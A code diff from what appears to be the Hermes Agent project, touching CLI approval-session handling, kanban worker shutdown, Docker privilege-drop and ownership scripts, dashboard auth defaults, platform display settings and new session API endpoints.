-                "Option 1: pip install faster-whisper  (free, local)\n"
+                "Option 1: uv pip install faster-whisper  "
+                "(free, local; `pip install faster-whisper` also works if pip is on PATH)\n"
                 "Option 2: Set GROQ_API_KEY (free tier)\n"
                 "Option 3: Set VOICE_TOOLS_OPENAI_KEY (paid)"
             )
@@ -11729,6 +11844,23 @@ class HermesCLI:
                     set_secret_capture_callback(self._secret_capture_callback)
                 except Exception:
                     pass
+                # Bind this turn's approval session key into the contextvar so
+                # ``tools.approval.is_current_session_yolo_enabled()`` resolves
+                # against the same key that ``/yolo`` toggles under (see
+                # ``_toggle_yolo`` → ``enable_session_yolo(self.session_id)``).
+                # Mirrors ``tui_gateway/server.py`` and ``gateway/run.py`` which
+                # bind the same contextvar before invoking the agent.
+                try:
+                    from tools.approval import (
+                        reset_current_session_key,
+                        set_current_session_key,
+                    )
+                    _approval_session_token = set_current_session_key(
+                        self.session_id or "default"
+                    )
+                except Exception:
+                    reset_current_session_key = None  # type: ignore[assignment]
+                    _approval_session_token = None
                 agent_message = _voice_prefix + message if _voice_prefix else message
                 # Prepend pending model switch note so the model knows about the switch
                 _msn = getattr(self, '_pending_model_switch_note', None)
@@ -11770,6 +11902,15 @@ class HermesCLI:
                         set_secret_capture_callback(None)
                     except Exception:
                         pass
+                    # Release the per-turn approval session key. ``_session_yolo``
+                    # state itself is preserved across turns (so /yolo persists
+                    # for the whole CLI run); we just unbind the contextvar so a
+                    # reused thread doesn't see stale identity on its next run.
+                    if _approval_session_token is not None and reset_current_session_key is not None:
+                        try:
+                            reset_current_session_key(_approval_session_token)
+                        except Exception:
+                            pass
 
             # Start agent in background thread (daemon so it cannot keep the
             # process alive when the user closes the terminal tab — SIGHUP
@@ -11900,6 +12041,7 @@ class HermesCLI:
                 and getattr(self.agent, "session_id", None)
                 and self.agent.session_id != self.session_id
             ):
+                self._transfer_session_yolo(self.session_id, self.agent.session_id)
                 self.session_id = self.agent.session_id
                 self._pending_title = None
 
@@ -13352,7 +13494,10 @@ class HermesCLI:
                 line_count = pasted_text.count('\n')
                 buf = event.current_buffer
                 threshold = self.config.get("paste_collapse_threshold", 5)
-                if threshold > 0 and line_count >= threshold and not buf.text.strip().startswith('/'):
+                char_threshold = self.config.get("paste_collapse_char_threshold", 2000)
+                lines_hit = threshold > 0 and line_count >= threshold
+                chars_hit = char_threshold > 0 and len(pasted_text) >= char_threshold
+                if (lines_hit or chars_hit) and not buf.text.strip().startswith('/'):
                     _paste_counter[0] += 1
                     paste_dir = _hermes_home / "pastes"
                     paste_dir.mkdir(parents=True, exist_ok=True)
@@ -13521,8 +13666,11 @@ class HermesCLI:
             newlines_added = line_count - _prev_newline_count[0]
             _prev_newline_count[0] = line_count
             is_paste = chars_added > 1 or newlines_added >= 4
-            threshold = self.config.get("paste_collapse_threshold_fallback", 0)
-            if threshold > 0 and line_count >= threshold and is_paste and not text.startswith('/'):
+            threshold = self.config.get("paste_collapse_threshold_fallback", 5)
+            char_threshold = self.config.get("paste_collapse_char_threshold", 2000)
+            lines_hit = threshold > 0 and line_count >= threshold
+            chars_hit = char_threshold > 0 and len(text) >= char_threshold
+            if (lines_hit or chars_hit) and is_paste and not text.startswith('/'):
                 _paste_counter[0] += 1
                 paste_dir = _hermes_home / "pastes"
                 paste_dir.mkdir(parents=True, exist_ok=True)
@@ -14934,6 +15082,39 @@ def main(
                     time.sleep(_grace)
         except Exception:
             pass  # never block signal handling
+        # Kanban worker exit path (#28181): SIGTERM hits a dispatcher-spawned
+        # worker that's likely in a non-daemon thread waiting on a child
+        # subprocess in _wait_for_process. Raising KeyboardInterrupt only
+        # unwinds the main thread; the worker thread keeps running, the
+        # process gets reparented to init, and the dispatcher's _pid_alive
+        # check returns True forever — task stuck in 'running' indefinitely.
+        # Skip the controlled-unwind dance and call os._exit(0) so the kernel
+        # reclaims the PID immediately and detect_crashed_workers can reclaim
+        # the stale claim on the next tick. Flush logging + stdout/stderr
+        # first so the final debug trace isn't lost; SIGALRM deadman guards
+        # the flush against any rare blocking-I/O case (the reporter measured
+        # flush in <1ms; the alarm is a failsafe, not the common path).
+        if os.environ.get("HERMES_KANBAN_TASK"):
+            try:
+                import signal as _sig_mod
+                if hasattr(_sig_mod, "SIGALRM"):
+                    # Cancel any pre-existing alarm to avoid colliding with
+                    # caller-installed timers.
+                    _sig_mod.signal(_sig_mod.SIGALRM, lambda *_: os._exit(0))
+                    _sig_mod.alarm(2)
+            except Exception:
+                pass
+            try:
+                import logging as _lg
+                _lg.shutdown()
+            except Exception:
+                pass
+            for _stream in (sys.stdout, sys.stderr):
+                try:
+                    _stream.flush()
+                except Exception:
+                    pass
+            os._exit(0)
         raise KeyboardInterrupt()
     try:
         import signal as _signal
@@ -14946,13 +15127,50 @@ def main(
     # Handle single query mode
     if query or image:
         query, single_query_images = _collect_query_images(query, image)
+        # Kanban workers spawn with ``hermes chat -q "work kanban task <id>"``;
+        # the actual task description lives in the task body. Mirror the
+        # gateway/CLI behaviour for inbound images by scanning the body for
+        # local image paths and http(s) image URLs and attaching them to the
+        # worker's first turn. Without this, users who paste a screenshot
+        # path or URL into a kanban task body never get it routed to the
+        # model's vision input.
+        single_query_image_urls: list[str] = []
+        _kanban_task_id = os.environ.get("HERMES_KANBAN_TASK", "").strip()
+        if _kanban_task_id:
+            try:
+                from hermes_cli import kanban_db as _kb
+                from agent.image_routing import extract_image_refs as _extract_refs
+
+                _conn = _kb.connect()
+                try:
+                    _task = _kb.get_task(_conn, _kanban_task_id)
+                finally:
+                    try:
+                        _conn.close()
+                    except Exception:
+                        pass
+                _body = getattr(_task, "body", "") if _task is not None else ""
+                if _body:
+                    _kb_paths, _kb_urls = _extract_refs(_body)
+                    if _kb_paths:
+                        # Dedupe against any --image the user already passed.
+                        _seen = {str(p) for p in single_query_images}
+                        for _p in _kb_paths:
+                            if _p not in _seen:
+                                _seen.add(_p)
+                                single_query_images.append(Path(_p))
+                    if _kb_urls:
+                        single_query_image_urls.extend(_kb_urls)
+            except Exception as _exc:
+                # Best-effort enrichment; never block worker startup on it.
+                logger.debug("kanban image-ref extraction failed: %s", _exc)
         if quiet:
             # Quiet mode: suppress banner, spinner, tool previews.
             # Only print the final response and parseable session info.
             cli.tool_progress_mode = "off"
             if cli._ensure_runtime_credentials():
                 effective_query: Any = query
-                if single_query_images:
+                if single_query_images or single_query_image_urls:
                     # Honour the same image-routing decision used by the
                     # interactive path. With a vision-capable model (incl.
                     # custom-provider models declared via
@@ -14981,19 +15199,26 @@ def main(
                             _parts, _skipped = _build_parts(
                                 query if isinstance(query, str) else "",
                                 [str(p) for p in single_query_images],
+                                image_urls=list(single_query_image_urls) or None,
                             )
                             if any(p.get("type") == "image_url" for p in _parts):
                                 effective_query = _parts
                             else:
                                 # All images unreadable — text fallback.
+                                # ``_preprocess_images_with_vision`` only knows
+                                # about local files; URLs would be lost there,
+                                # so keep the original query text intact when
+                                # only URLs were supplied.
+                                if single_query_images:
+                                    effective_query = cli._preprocess_images_with_vision(
+                                        query, single_query_images, announce=False,
+                                    )
+                        except Exception:
+                            if single_query_images:
                                 effective_query = cli._preprocess_images_with_vision(
                                     query, single_query_images, announce=False,
                                 )
-                        except Exception:
-                            effective_query = cli._preprocess_images_with_vision(
-                                query, single_query_images, announce=False,
-                            )
-                    else:
+                    elif single_query_images:
                         effective_query = cli._preprocess_images_with_vision(
                             query,
                             single_query_images,

docker-compose.windows.yml

@@ -0,0 +1,38 @@
+#
+# docker-compose.windows.yml — Windows Docker Desktop compatible
+#
+# Differences from docker-compose.yml:
+#   - Removes `network_mode: host` (not supported on Docker Desktop for Windows)
+#   - Uses explicit port mappings instead
+#   - Uses Windows-style volume path for ~/.hermes
+#
+# Usage:
+#   docker compose -f docker-compose.windows.yml up -d
+#
+services:
+  gateway:
+    image: nousresearch/hermes-agent:latest
+    container_name: hermes
+    restart: unless-stopped
+    volumes:
+      - ${USERPROFILE}/.hermes:/opt/data
+    environment:
+      - HERMES_UID=10000
+      - HERMES_GID=10000
+    command: ["gateway", "run"]
+
+  dashboard:
+    image: nousresearch/hermes-agent:latest
+    container_name: hermes-dashboard
+    restart: unless-stopped
+    depends_on:
+      - gateway
+    volumes:
+      - ${USERPROFILE}/.hermes:/opt/data
+    environment:
+      - HERMES_UID=10000
+      - HERMES_GID=10000
+      - HERMES_DASHBOARD_HOST=0.0.0.0
+    ports:
+      - "127.0.0.1:9119:9119"
+    command: ["dashboard", "--host", "0.0.0.0", "--port", "9119", "--no-open", "--insecure"]

docker/hermes-exec-shim.sh

@@ -0,0 +1,87 @@
+#!/bin/sh
+# shellcheck shell=sh
+# /opt/hermes/bin/hermes — `docker exec` privilege-drop shim.
+#
+# Background
+# ----------
+# The s6 image runs the supervised gateway/main process as the unprivileged
+# `hermes` user (UID 10000). When an operator runs `docker exec <c> hermes ...`
+# the default UID is root (0), and any file the command writes under
+# $HERMES_HOME — auth.json, .env, config.yaml — ends up root-owned and
+# unreadable to the supervised gateway. The most common manifestation: the
+# user runs `docker exec <c> hermes login`, this writes
+# /opt/data/auth.json as root:root mode 0600, and from then on the gateway
+# returns "Provider authentication failed: Hermes is not logged into Nous
+# Portal" on every incoming message — even though `docker exec <c> hermes
+# chat -q ping` (also running as root) succeeds because root happens to be
+# able to read its own root-owned file. See systematic-debugging skill
+# notes attached to this fix.
+#
+# Fix
+# ---
+# This shim sits at /opt/hermes/bin/hermes and is placed earliest on PATH.
+# When invoked as root, it drops to the hermes user (via s6-setuidgid)
+# before exec'ing the real venv binary, so anything that writes under
+# $HERMES_HOME is uid-aligned with the supervised processes. When invoked
+# as any non-root UID — including the supervised processes themselves,
+# `docker exec --user hermes`, kanban subagents, etc. — it short-circuits
+# straight to the venv binary with no privilege change. Net: one extra
+# fork on the docker-exec-as-root path, zero behavioral change on every
+# other path.
+#
+# Recursion safety: the shim exec's the venv binary by *absolute path*
+# (/opt/hermes/.venv/bin/hermes), so the second hop cannot re-enter this
+# shim regardless of PATH state. No sentinel env var needed.
+#
+# Opt-out: set HERMES_DOCKER_EXEC_AS_ROOT=1 (1/true/yes, case-insensitive)
+# to keep running as root. Reserved for diagnostic sessions where the
+# operator deliberately wants root semantics — e.g. inspecting root-only
+# state via the hermes CLI. Default is to drop.
+
+set -e
+
+REAL=/opt/hermes/.venv/bin/hermes
+
+# Defensive: if the venv binary is missing (corrupted image, partial
+# install), fail loudly rather than silently masking it.
+if [ ! -x "$REAL" ]; then
+    echo "hermes-shim: $REAL not found or not executable" >&2
+    exit 127
+fi
+
+# Already non-root? Just exec the real binary. This is the hot path for
+# supervised processes (uid 10000) and for `docker exec --user hermes`.
+if [ "$(id -u)" != "0" ]; then
+    exec "$REAL" "$@"
+fi
+
+# Root, with opt-out set? Honor it.
+case "${HERMES_DOCKER_EXEC_AS_ROOT:-}" in
+    1|true|TRUE|True|yes|YES|Yes)
+        exec "$REAL" "$@"
+        ;;
+esac
+
+# Root, no opt-out. Drop to the hermes user.
+#
+# s6-setuidgid lives under /command/ which is NOT on `docker exec`'s PATH
+# (s6-overlay only puts /command/ on PATH for supervision-tree children).
+# Reference it by absolute path so the drop is robust against PATH
+# manipulation.
+S6_SUID=/command/s6-setuidgid
+if [ ! -x "$S6_SUID" ]; then
+    # Non-s6 image (someone stripped s6-overlay, or a hand-built variant).
+    # Fail loud rather than silently re-execing as root and leaking the
+    # bug this shim exists to prevent.
+    echo "hermes-shim: $S6_SUID not found; refusing to silently run as root." >&2
+    echo "hermes-shim: re-run with --user hermes or set HERMES_DOCKER_EXEC_AS_ROOT=1." >&2
+    exit 126
+fi
+
+# Reset HOME to the hermes user's home before dropping privileges. Without
+# this, $HOME stays /root and any library that resolves paths off $HOME
+# (XDG caches, lockfiles, .config writes) will try to write to /root and
+# fail with EACCES. Mirrors main-wrapper.sh.
+export HOME=/opt/data
+
+exec "$S6_SUID" hermes "$REAL" "$@"

docker/main-wrapper.sh

@@ -1,9 +1,16 @@
-#!/bin/sh
+#!/command/with-contenv sh
+# shellcheck shell=sh
 # /opt/hermes/docker/main-wrapper.sh — wraps the container's CMD with
 # the same argument-routing logic the pre-s6 entrypoint.sh used. Runs
 # as /init's "main program" (Docker CMD) so it inherits stdin/stdout/
 # stderr from the container.
 #
+# Shebang note: /init scrubs env before invoking CMD, so a plain
+# `#!/bin/sh` wrapper sees an empty environ and `ENV HERMES_HOME=/opt/data`
+# from the Dockerfile never reaches `hermes`. with-contenv repopulates
+# the env from /run/s6/container_environment before exec'ing, which is
+# what s6-supervised services use too (see main-hermes/run).
+#
 # Routing:
 #   no args                       → exec `hermes` (the default)
 #   first arg is an executable    → exec it directly (sleep, bash, sh, …)
@@ -13,6 +20,12 @@
 # workload runs unprivileged (UID 10000 by default).
 set -e
 
+# HOME comes through with-contenv as /root (the /init context). Override
+# to the hermes user's home before dropping privileges so libraries that
+# resolve paths via $HOME (e.g. discord lockfile under XDG_STATE_HOME)
+# don't try to write to /root.
+export HOME=/opt/data
+
 cd /opt/data
 # shellcheck disable=SC1091
 . /opt/hermes/.venv/bin/activate

docker/s6-rc.d/dashboard/run

@@ -19,6 +19,10 @@ case "${HERMES_DASHBOARD:-}" in
         ;;
 esac
 
+# with-contenv repopulates HOME from /init as /root. Reset it before
+# dropping privileges so HOME-anchored state lands under /opt/data.
+export HOME=/opt/data
+
 cd /opt/data
 # shellcheck disable=SC1091
 . /opt/hermes/.venv/bin/activate
@@ -26,13 +30,21 @@ cd /opt/data
 dash_host="${HERMES_DASHBOARD_HOST:-0.0.0.0}"
 dash_port="${HERMES_DASHBOARD_PORT:-9119}"
 
-# Binding to anything other than localhost requires --insecure — the
-# dashboard refuses otherwise because it exposes API keys. Inside a
-# container this is the expected deployment.
+# `--insecure` is opt-in via HERMES_DASHBOARD_INSECURE. The dashboard's
+# OAuth auth gate engages automatically on non-loopback binds when a
+# DashboardAuthProvider is registered (e.g. the bundled dashboard_auth/nous
+# provider, which auto-registers when HERMES_DASHBOARD_OAUTH_CLIENT_ID is
+# set). If no provider is registered, start_server fails closed with a
+# specific operator-facing error.
+#
+# This used to derive --insecure from the bind host ("anything non-loopback
+# implies insecure"), but that predates the OAuth gate and silently
+# disabled it on every container-deployed dashboard. The gate is now the
+# authority; operators on trusted LANs / behind a reverse proxy without
+# the OAuth contract opt in explicitly.
 insecure=""
-case "$dash_host" in
-    127.0.0.1|localhost) ;;
-    *) insecure="--insecure" ;;
+case "${HERMES_DASHBOARD_INSECURE:-}" in
+    1|true|TRUE|True|yes|YES|Yes) insecure="--insecure" ;;
 esac
 
 # shellcheck disable=SC2086  # word-splitting of $insecure is intentional

docker/stage2-hook.sh

@@ -20,6 +20,18 @@ set -eu
 HERMES_HOME="${HERMES_HOME:-/opt/data}"
 INSTALL_DIR="/opt/hermes"
 
+# --- Bootstrap HERMES_HOME as root ---
+# Create the directory (and any missing parents) while we still have root
+# privileges so the chown checks below see real metadata and the later
+# `s6-setuidgid hermes mkdir -p` block doesn't EACCES on root-owned
+# ancestors. Without this, custom HERMES_HOME paths whose parents only
+# root can create (e.g. `HERMES_HOME=/home/hermes/.hermes` in a Compose
+# file, or any path under a fresh / not pre-populated by the image)
+# fail on first boot with `mkdir: cannot create directory '/...': Permission
+# denied` and the cont-init hook exits non-zero. Idempotent — `mkdir -p`
+# is a no-op if the dir already exists. (#18482, salvages #18488)
+mkdir -p "$HERMES_HOME"
+
 # --- UID/GID remap ---
 if [ -n "${HERMES_UID:-}" ] && [ "$HERMES_UID" != "$(id -u hermes)" ]; then
     echo "[stage2] Changing hermes UID to $HERMES_UID"
@@ -33,6 +45,14 @@ if [ -n "${HERMES_GID:-}" ] && [ "$HERMES_GID" != "$(id -g hermes)" ]; then
 fi
 
 # --- Fix ownership of data volume ---
+# When HERMES_UID is remapped or the top-level $HERMES_HOME isn't owned by
+# the runtime hermes UID, restore ownership to hermes — but ONLY for the
+# directories hermes actually writes to. The full $HERMES_HOME may be a
+# host-mounted bind containing unrelated user files; `chown -R` would
+# silently destroy host ownership of those (see issue #19788).
+#
+# The canonical list of hermes-owned subdirs is the same one the s6-setuidgid
+# mkdir -p block below seeds. Keep them in sync if the seed list changes.
 actual_hermes_uid=$(id -u hermes)
 needs_chown=false
 if [ -n "${HERMES_UID:-}" ] && [ "$HERMES_UID" != "10000" ]; then
@@ -41,16 +61,45 @@ elif [ "$(stat -c %u "$HERMES_HOME" 2>/dev/null)" != "$actual_hermes_uid" ]; the
     needs_chown=true
 fi
 if [ "$needs_chown" = true ]; then
-    echo "[stage2] Fixing ownership of $HERMES_HOME to hermes ($actual_hermes_uid)"
+    echo "[stage2] Fixing ownership of $HERMES_HOME (targeted) to hermes ($actual_hermes_uid)"
     # In rootless Podman the container's "root" is mapped to an
     # unprivileged host UID — chown will fail. That's fine: the volume
     # is already owned by the mapped user on the host side.
-    chown -R hermes:hermes "$HERMES_HOME" 2>/dev/null || \
-        echo "[stage2] Warning: chown failed (rootless container?) — continuing"
-    # The .venv must also be re-chowned when UID is remapped, otherwise
-    # lazy_deps.py cannot install platform packages (discord.py, etc.).
-    chown -R hermes:hermes "$INSTALL_DIR/.venv" 2>/dev/null || \
-        echo "[stage2] Warning: chown .venv failed (rootless container?) — continuing"
+    #
+    # Top-level $HERMES_HOME: chown the directory itself (not its contents)
+    # so hermes can mkdir new subdirs but bind-mounted host files keep
+    # their existing ownership.
+    chown hermes:hermes "$HERMES_HOME" 2>/dev/null || \
+        echo "[stage2] Warning: chown $HERMES_HOME failed (rootless container?) — continuing"
+    # Hermes-owned subdirs: recursive chown is safe here because these are
+    # created and managed exclusively by hermes (see the s6-setuidgid mkdir
+    # -p block below for the canonical list).
+    for sub in cron sessions logs hooks memories skills skins plans workspace home profiles; do
+        if [ -e "$HERMES_HOME/$sub" ]; then
+            chown -R hermes:hermes "$HERMES_HOME/$sub" 2>/dev/null || \
+                echo "[stage2] Warning: chown $HERMES_HOME/$sub failed (rootless container?) — continuing"
+        fi
+    done
+    # Hermes-owned trees under $INSTALL_DIR must be re-chowned when the UID
+    # is remapped — otherwise:
+    #   - .venv: lazy_deps.py cannot install platform packages (discord.py,
+    #     telegram, slack, etc.) with EACCES (#15012, #21100)
+    #   - ui-tui: esbuild rebuilds dist/entry.js on every TUI launch (when
+    #     the source mtime is newer than dist/ or when HERMES_TUI_FORCE_BUILD
+    #     is set) and writes to ui-tui/dist/. Without this chown the new
+    #     hermes UID can't write the build output (#28851).
+    #   - node_modules: root-level dependencies (puppeteer, web tooling)
+    #     that runtime code may walk/update.
+    # The set mirrors the build-time `chown -R hermes:hermes` line in the
+    # Dockerfile — keep them in sync if the Dockerfile chown set changes.
+    # These are under $INSTALL_DIR (not $HERMES_HOME), so the bind-mount
+    # concern doesn't apply — recursive is fine.
+    chown -R hermes:hermes \
+        "$INSTALL_DIR/.venv" \
+        "$INSTALL_DIR/ui-tui" \
+        "$INSTALL_DIR/node_modules" \
+        2>/dev/null || \
+        echo "[stage2] Warning: chown of build trees failed (rootless container?) — continuing"
 fi
 
 # Always reset ownership of $HERMES_HOME/profiles to hermes on every
@@ -139,4 +188,47 @@ if [ -d "$INSTALL_DIR/skills" ]; then
         || echo "[stage2] Warning: skills_sync.py failed; continuing"
 fi
 
+# --- Discover agent-browser's Chromium binary ---
+# The image's Dockerfile runs `npx playwright install chromium`, which
+# populates ``$PLAYWRIGHT_BROWSERS_PATH`` (=/opt/hermes/.playwright) with
+# a ``chromium_headless_shell-<build>/chrome-headless-shell-linux64/``
+# directory. agent-browser (the runtime CLI Hermes spawns for the
+# browser tool) doesn't recognise this layout in its own cache scan and
+# fails with "Auto-launch failed: Chrome not found" — even though the
+# binary is right there (#15697).
+#
+# Fix: locate the binary at boot and export ``AGENT_BROWSER_EXECUTABLE_PATH``
+# via /run/s6/container_environment so the `with-contenv` shebang on
+# main-wrapper.sh propagates it into the supervised ``hermes`` process
+# and thence to agent-browser subprocesses.
+#
+# - Skipped when the user has already set ``AGENT_BROWSER_EXECUTABLE_PATH``
+#   (lets users override with a system Chrome install).
+# - Filename-matched (not path-matched): the chromium dir contains many
+#   shared libraries (libGLESv2.so, libEGL.so, ...) which inherit the
+#   executable bit from Playwright's tarball but are NOT browser binaries.
+#   We only accept files whose basename is chrome / chromium /
+#   chrome-headless-shell / chromium-browser. Compare PR #18635's earlier
+#   ``find | grep -Ei 'chrome|chromium'`` which would match the path
+#   ``.../chrome-headless-shell-linux64/libGLESv2.so`` and pick a .so.
+# - Quietly skipped when $PLAYWRIGHT_BROWSERS_PATH doesn't exist (e.g.
+#   custom builds that strip Playwright).
+if [ -z "${AGENT_BROWSER_EXECUTABLE_PATH:-}" ] && \
+        [ -n "${PLAYWRIGHT_BROWSERS_PATH:-}" ] && \
+        [ -d "$PLAYWRIGHT_BROWSERS_PATH" ]; then
+    browser_bin=$(find "$PLAYWRIGHT_BROWSERS_PATH" -type f -executable \
+        \( -name 'chrome' -o -name 'chromium' \
+           -o -name 'chrome-headless-shell' -o -name 'chromium-browser' \) \
+        2>/dev/null | head -n 1)
+    if [ -n "$browser_bin" ]; then
+        echo "[stage2] Found agent-browser Chromium binary: $browser_bin"
+        # Write to s6's container_environment so with-contenv picks it
+        # up for all supervised services (main-hermes, dashboard, etc.).
+        # Idempotent: each boot overwrites with the current path.
+        printf '%s' "$browser_bin" > /run/s6/container_environment/AGENT_BROWSER_EXECUTABLE_PATH
+    else
+        echo "[stage2] Warning: no Chromium binary under $PLAYWRIGHT_BROWSERS_PATH; browser tool may fail"
+    fi
+fi
+
 echo "[stage2] Setup complete; starting user services"

gateway/display_config.py

@@ -35,7 +35,12 @@ _GLOBAL_DEFAULTS: dict[str, Any] = {
     "show_reasoning": False,
     "tool_preview_length": 0,
     "streaming": None,  # None = follow top-level streaming config
-    # When true, delete tool-progress / "Still working..." / status bubbles
+    # Gateway-only assistant/status chatter controls. These default on for
+    # back-compat, but mobile platforms can opt down to final-answer-first.
+    "interim_assistant_messages": True,
+    "long_running_notifications": True,
+    "busy_ack_detail": True,
+    # When true, delete tool-progress / "⏳ Working — N min" / status bubbles
     # after the final response lands on platforms that support message
     # deletion (e.g. Telegram). Off by default — progress is still shown
     # live, just cleaned up after success so the chat doesn't fill up with
@@ -56,6 +61,9 @@ _TIER_HIGH = {
     "show_reasoning": False,
     "tool_preview_length": 40,
     "streaming": None,  # follow global
+    "interim_assistant_messages": True,
+    "long_running_notifications": True,
+    "busy_ack_detail": True,
 }
 
 _TIER_MEDIUM = {
@@ -63,6 +71,9 @@ _TIER_MEDIUM = {
     "show_reasoning": False,
     "tool_preview_length": 40,
     "streaming": None,
+    "interim_assistant_messages": True,
+    "long_running_notifications": True,
+    "busy_ack_detail": True,
 }
 
 _TIER_LOW = {
@@ -70,6 +81,9 @@ _TIER_LOW = {
     "show_reasoning": False,
     "tool_preview_length": 40,
     "streaming": False,
+    "interim_assistant_messages": False,
+    "long_running_notifications": False,
+    "busy_ack_detail": False,
 }
 
 _TIER_MINIMAL = {
@@ -77,11 +91,25 @@ _TIER_MINIMAL = {
     "show_reasoning": False,
     "tool_preview_length": 0,
     "streaming": False,
+    "interim_assistant_messages": False,
+    "long_running_notifications": False,
+    "busy_ack_detail": False,
 }
 
 _PLATFORM_DEFAULTS: dict[str, dict[str, Any]] = {
     # Tier 1 — full edit support, personal/team use
-    "telegram":    {**_TIER_HIGH, "tool_progress": "new"},
+    # Telegram is usually a mobile inbox: keep tool_progress quiet and skip
+    # the verbose busy-ack iteration counter, but DO surface real mid-turn
+    # assistant commentary (interim_assistant_messages) and DO send periodic
+    # heartbeats (long_running_notifications) so the user has signal between
+    # turn start and final answer. Otherwise it looks like "typing..." for
+    # 30 minutes with nothing happening. Opt in to verbose iteration detail
+    # via display.platforms.telegram.busy_ack_detail / tool_progress.
+    "telegram":    {
+        **_TIER_HIGH,
+        "tool_progress": "off",
+        "busy_ack_detail": False,
+    },
     "discord":     _TIER_HIGH,
 
     # Tier 2 — edit support, often customer/workspace channels
@@ -190,7 +218,13 @@ def _normalise(setting: str, value: Any) -> Any:
         if value is True:
             return "all"
         return str(value).lower()
-    if setting in {"show_reasoning", "streaming"}:
+    if setting in {
+        "show_reasoning",
+        "streaming",
+        "interim_assistant_messages",
+        "long_running_notifications",
+        "busy_ack_detail",
+    }:
         if isinstance(value, str):
             return value.lower() in {"true", "1", "yes", "on"}
         return bool(value)

gateway/platforms/api_server.py

@@ -8,6 +8,12 @@ Exposes an HTTP server with endpoints:
 - DELETE /v1/responses/{response_id} — Delete a stored response
 - GET  /v1/models                  — lists hermes-agent as an available model
 - GET  /v1/capabilities            — machine-readable API capabilities for external UIs
+- GET  /api/sessions               — list client-visible Hermes sessions
+- POST /api/sessions               — create an empty Hermes session
+- GET/PATCH/DELETE /api/sessions/{session_id} — read/update/delete a session
+- GET  /api/sessions/{session_id}/messages — read session message history
+- POST /api/sessions/{session_id}/fork — branch a session using SessionDB lineage
+- POST /api/sessions/{session_id}/chat[/stream] — chat with a persisted session
 - POST /v1/runs                    — start a run, returns run_id immediately (202)
 - GET  /v1/runs/{run_id}           — retrieve current run status
 - GET  /v1/runs/{run_id}/events    — SSE stream of structured lifecycle events
@@ -18,7 +24,8 @@ Exposes an HTTP server with endpoints:
 
 Any OpenAI-compatible frontend (Open WebUI, LobeChat, LibreChat,
 AnythingLLM, NextChat, ChatBox, etc.) can connect to hermes-agent
-through this adapter by pointing at http://localhost:8642/v1.
+through this adapter by pointing at http://localhost:8642/v1 and
+authenticating with API_SERVER_KEY.
 
 Requires:
 - aiohttp (already available in the gateway)
@@ -313,6 +320,20 @@ def _multimodal_validation_error(exc: ValueError, *, param: str) -> "web.Respons
     )
 
 
+def _session_chat_user_message(body: Dict[str, Any], *, param: str = "message") -> tuple[Any, Optional["web.Response"]]:
+    """Parse and normalize session chat ``message`` / ``input`` like chat completions."""
+    user_message = body.get("message") or body.get("input")
+    if not _content_has_visible_payload(user_message):
+        return None, web.json_response(
+            _openai_error("Missing 'message' field", code="missing_message"),
+            status=400,
+        )
+    try:
+        return _normalize_multimodal_content(user_message), None
+    except ValueError as exc:
+        return None, _multimodal_validation_error(exc, param=param)
+
+
 def check_api_server_requirements() -> bool:
     """Check if API server dependencies are available."""
     return AIOHTTP_AVAILABLE
@@ -824,11 +845,11 @@ class APIServerAdapter(BasePlatformAdapter):
         Validate Bearer token from Authorization header.
 
         Returns None if auth is OK, or a 401 web.Response on failure.
-        If no API key is configured, all requests are allowed (only when API
-        server is local).
+        connect() refuses to start the API server without API_SERVER_KEY, so
+        the no-key branch only exists for tests or unsupported manual wiring.
         """
         if not self._api_key:
-            return None  # No key configured — allow all (local-only use)
+            return None
 
         auth_header = request.headers.get("Authorization", "")
         if auth_header.startswith("Bearer "):
@@ -1086,6 +1107,16 @@ class APIServerAdapter(BasePlatformAdapter):
                 "run_approval_response": True,
                 "tool_progress_events": True,
                 "approval_events": True,
+                "session_resources": True,
+                "session_chat": True,
+                "session_chat_streaming": True,
+                "session_fork": True,
+                "admin_config_rw": False,
+                "jobs_admin": False,
+                "memory_write_api": False,
+                "skills_api": True,
+                "audio_api": False,
+                "realtime_voice": False,
                 "session_continuity_header": "X-Hermes-Session-Id",
                 "session_key_header": "X-Hermes-Session-Key",
                 "cors": bool(self._cors_origins),
@@ -1101,9 +1132,540 @@ class APIServerAdapter(BasePlatformAdapter):
                 "run_events": {"method": "GET", "path": "/v1/runs/{run_id}/events"},
                 "run_approval": {"method": "POST", "path": "/v1/runs/{run_id}/approval"},
                 "run_stop": {"method": "POST", "path": "/v1/runs/{run_id}/stop"},
+                "skills": {"method": "GET", "path": "/v1/skills"},
+                "toolsets": {"method": "GET", "path": "/v1/toolsets"},
+                "sessions": {"method": "GET", "path": "/api/sessions"},
+                "session_create": {"method": "POST", "path": "/api/sessions"},
+                "session": {"method": "GET", "path": "/api/sessions/{session_id}"},
+                "session_update": {"method": "PATCH", "path": "/api/sessions/{session_id}"},
+                "session_delete": {"method": "DELETE", "path": "/api/sessions/{session_id}"},
+                "session_messages": {"method": "GET", "path": "/api/sessions/{session_id}/messages"},
+                "session_fork": {"method": "POST", "path": "/api/sessions/{session_id}/fork"},
+                "session_chat": {"method": "POST", "path": "/api/sessions/{session_id}/chat"},
+                "session_chat_stream": {"method": "POST", "path": "/api/sessions/{session_id}/chat/stream"},
             },
         })
 
+    async def _handle_skills(self, request: "web.Request") -> "web.Response":
+        """GET /v1/skills — list installed skills visible to the API-server agent.
+
+        Read-only listing intended for external clients that need to know
+        which skills are available without sending a chat message and asking
+        the model. Mirrors what the gateway/CLI surfaces through
+        ``/skills list``, but as a deterministic JSON payload.
+
+        Returns the same skill metadata (name, description, category) the
+        skills hub uses internally. Disabled skills are excluded so the
+        listing matches what the agent actually loads.
+        """
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+
+        try:
+            from tools.skills_tool import _find_all_skills, _sort_skills
+            skills = _sort_skills(_find_all_skills(skip_disabled=False))
+        except Exception:
+            logger.exception("GET /v1/skills failed")
+            return web.json_response(
+                _openai_error("Failed to enumerate skills", err_type="server_error"),
+                status=500,
+            )
+
+        return web.json_response({
+            "object": "list",
+            "data": skills,
+        })
+
+    async def _handle_toolsets(self, request: "web.Request") -> "web.Response":
+        """GET /v1/toolsets — list toolsets and their resolved tools.
+
+        Returns the toolset surface the api_server platform actually exposes
+        to its agent: each toolset's enabled/configured state plus the
+        concrete tool names it expands to. This is the deterministic
+        equivalent of what a client would otherwise have to recover by
+        asking the model what tools it can call.
+        """
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+
+        try:
+            from hermes_cli.config import load_config
+            from hermes_cli.tools_config import (
+                _get_effective_configurable_toolsets,
+                _get_platform_tools,
+                _toolset_has_keys,
+            )
